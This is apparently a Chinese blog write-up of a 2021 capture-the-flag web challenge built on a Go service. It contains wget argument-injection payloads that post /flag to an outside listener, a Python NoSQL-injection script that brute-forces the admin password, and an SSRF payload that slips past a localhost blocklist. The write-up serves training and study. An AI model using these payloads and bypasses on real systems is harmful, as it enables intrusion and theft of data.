陇原战“疫“2021网络安全大赛 Web CheckIN

checkin


参考链接: 利用命令注入外带数据的一些姿势_一个安全研究员-CSDN博客_smb外带注入

题目有附件

image-20211223232855564

下载,是个go语言,审计一下 ,文件目录如下

image-20211223233017308

注意wget

image-20211223233141954

还有

image-20211223233200793

wget外带数据

根据上面的博客,可以执行命令wegt数据外带出来

wget?argv=1&argv=--post-file&argv=/flag&argv=http://vps:7777/

然后既可以得到flag

image-20211223234002354

wget?argv=1&argv=--post-data&argv=/flag&argv=http://116.62.240.148:7777/

修改了配置-post-data 但是只是输出字符串罢了,我们传入的是/flag,那么它就返回我们/flag字符串

image-20211223234204240

分析官方wp

官方wp中添加了很多忽略的知识点

nosql注入

首先,源码中存在nosql注入

image-20211223234747022

所以可以根据这个获取admin的密码,脚本如下:

  1. 脚本中使用//将该行之后的代码进行注释,并且通过补全代码使得代码完整(有点废话了,肯定要完整,不然会报错的)
  2. 代码中判断是否成功用的是Pretend字符串,根据源码,如果用户名名称和密码判断不正确,就会返回含有Pretend的字符串

image-20211223235120536

爆破脚本

import requests

url = "http://47.117.125.220:8081/login"#自行修改

headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

strings = "1234567890abcdefghijklmnopqrstuvwxyz"

res = ""
#res长度从0开始
for i in range(len(res) + 1, 40):
    if len(res) == i - 1:
        for c in strings:
            data = {
                #注意这个substr用的是-号,是反向读取密码的,反向逐个读取密码,然后对比
                "username": "admin'&&this.password.substr(-" + str(i) + ")=='" + str(c + res) + "') {return true;}})//",
                "password": "123456"
            }
            r = requests.post(url=url, headers=headers, data=data)
            if "Pretend" in r.text:
                res = c + res
                print("[+] " + res)
                break
    else:
        print("[-] Failed")
        break

反向读取密码,substr实验分析

image-20211224000037063

image-20211224001209901

得到密码,登录,但是啥都没有,记录一下吧

image-20211224001219159

ssrf

官方wp中还提到了/proxy路由存在ssrf

func proxyController(c *gin.Context) {
    
    var url Url
    if err := c.ShouldBindJSON(&url); err != nil {
        c.JSON(500, gin.H{"msg": err})
        return
    }
    
    re := regexp.MustCompile("127.0.0.1|0.0.0.0|06433|0x|0177|localhost|ffff")
    if re.MatchString(url.Url) {
        c.JSON(403, gin.H{"msg": "Url Forbidden"})
        return
    }
    
    client := &http.Client{Timeout: 2 * time.Second}

    resp, err := client.Get(url.Url)
    if err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
        return
    }
    defer resp.Body.Close()
    var buffer [512]byte
    result := bytes.NewBuffer(nil)
    for {
        n, err := resp.Body.Read(buffer[0:])
        result.Write(buffer[0:n])
        if err != nil && err == io.EOF {

            break
        } else if err != nil {
            c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
            return
        }
    }
    c.JSON(http.StatusOK, gin.H{"data": result.String()})
}

访问的时候可以通过[::]绕过对127.0.0.1的限制然后访问内网

并且wget路由可以用来发送请求(参数可控!!!!),那么就可以传入恶意的参数来获取服务器上文件并且外带出来,最终的payload(注意post发包改为application/json格式)

POST: /proxy

{"url":"http://[::]:8080/wget?argv=-e+http_proxy=http://47.xxx.xxx.220:2333&argv=--method=POST&argv=--body-file=/flag&argv=http://47.xxx.xxx.220:2333"}

image-20211224001806650

参考链接

  1. 利用命令注入外带数据的一些姿势_一个安全研究员-CSDN博客_smb外带注入

  2. 陇原战疫2021网络安全大赛 Web_feng的博客-CSDN博客

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值